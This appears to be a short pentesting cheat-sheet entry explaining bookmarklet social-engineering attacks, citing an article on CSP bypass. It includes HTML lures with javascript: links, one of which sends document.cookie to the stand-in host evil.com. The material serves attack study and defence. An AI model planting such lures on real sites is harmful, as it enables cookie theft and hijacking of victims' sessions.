Bookmarklet Attack

If attackers can inject arbitrary JavaScript code in target website, they can induce victims to malicious executions with bookmarklet.

- [csp-bypass-unveiled](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)

Exploitation

Attackers induce victims to add their malicious link into the bookmark menu as below.

<p>Drag and drop the following link into the bookmark menu to access easily!</p>
<a href="javascript:window.location='https://evil.com/'">Example.com</a>

In addition, if the current website does not set HttpOnly flag on the Set-Cookie response header, attackers can get the victim's cookie and send it to the malicious website as below.

<p>Drag and drop me the following link into the bookmark menu to access easily!</p>
<a href="javascript:window.location='https://evil.com/?c='+document.cookie">Example.com</a>